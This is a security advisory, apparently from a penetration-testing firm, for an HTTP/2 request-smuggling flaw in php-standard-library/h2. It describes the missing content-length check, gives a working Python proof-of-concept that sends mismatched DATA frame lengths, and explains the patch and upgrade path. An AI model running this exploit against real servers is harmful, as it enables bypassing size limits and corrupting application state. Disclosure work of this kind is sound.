high · 7.5CVE-2026-48979Jun 26, 2026

CVE-2026-48979: php-standard-library/h2 HTTP/2 Request Smuggling via Missing Content-Length Validation

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A missing content-length check in the PHP Standard Library's HTTP/2 server lets a malicious client send a different number of bytes than it declared, bypassing size limits or corrupting application st

Packagephp-standard-library/h2
Ecosystemcomposer
Affected>= 6.1.0, < 6.1.2
Fixed in6.1.2

The problem

Psl\H2\ServerConnection accepts incoming HTTP/2 requests without checking that the total DATA frame bytes match the content-length declared in the HEADERS frame. This breaks RFC 9113 §8.1.1.

An attacker can exploit this in two directions. Sending more bytes than declared smuggles extra content past any application-level size or routing logic that trusts the header. Sending fewer bytes and closing the stream early forces applications that rely on the declared length into an inconsistent state.

Proof of concept

python
# Attack 1: overflow (send MORE data than declared)
# HEADERS frame declares content-length: 5
# DATA frames deliver 5 + 64 bytes total
python3 - <<'EOF'
import h2.connection, h2.config, h2.events, socket, ssl

HOST, PORT = '127.0.0.1', 8443

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.set_alpn_protocols(['h2'])

sock = ctx.wrap_socket(socket.create_connection((HOST, PORT)), server_hostname=HOST)

cfg = h2.config.H2Configuration(client_side=True)
conn = h2.connection.H2Connection(config=cfg)
conn.initiate_connection()
sock.sendall(conn.data_to_send(65535))

# Declare content-length: 5, but send 69 bytes across two DATA frames
conn.send_headers(
    stream_id=1,
    headers=[
        (':method', 'POST'),
        (':path', '/upload'),
        (':scheme', 'https'),
        (':authority', f'{HOST}:{PORT}'),
        ('content-type', 'application/octet-stream'),
        ('content-length', '5'),   # <-- declared: 5 bytes
    ]
)
sock.sendall(conn.data_to_send())

# First DATA frame: the 5 declared bytes
conn.send_data(stream_id=1, data=b'AAAAA')
sock.sendall(conn.data_to_send())

# Second DATA frame: 64 extra smuggled bytes, END_STREAM set
conn.send_data(stream_id=1, data=b'B' * 64, end_stream=True)
sock.sendall(conn.data_to_send())

# Attack 2: truncation (send FEWER bytes than declared, then close)
# Repeat with content-length: 1024, but send only 1 byte + END_STREAM
conn.send_headers(
    stream_id=3,
    headers=[
        (':method', 'POST'),
        (':path', '/upload'),
        (':scheme', 'https'),
        (':authority', f'{HOST}:{PORT}'),
        ('content-type', 'application/octet-stream'),
        ('content-length', '1024'),  # <-- declared: 1024 bytes
    ]
)
sock.sendall(conn.data_to_send())
conn.send_data(stream_id=3, data=b'X', end_stream=True)  # only 1 byte sent
sock.sendall(conn.data_to_send())
EOF

Before the fix, `ServerConnection` never parsed the `content-length` header on incoming HEADERS frames and never tracked how many bytes arrived in DATA frames per stream. The RFC 9113 §8.1.1 requirement, that a server MUST treat a mismatch as a stream error, was simply unimplemented.

The patch (PR #781) adds two things: it reads and stores the declared `content-length` when processing the HEADERS frame, and it maintains a running byte counter that increments with each DATA frame payload. On END_STREAM or any DATA frame that pushes the counter past the declared value, it throws `StreamException`, aborting the stream.

Both directions of mismatch (overflow and truncation) now raise an error. Nine new regression tests fail against the pre-fix code, confirming the boundary is enforced.

The fix

Upgrade to php-standard-library/h2 6.1.2 (or 6.2.1 on the 6.2.x branch). No protocol-layer workaround exists. Direct consumers of `Psl\H2\ServerConnection` must upgrade. Users of the high-level `Psl\HTTP\Server` (not yet released at advisory time) are not affected.

Reported by azjezz (Seifeddine Gmati).

References: [1][2][3][4][5]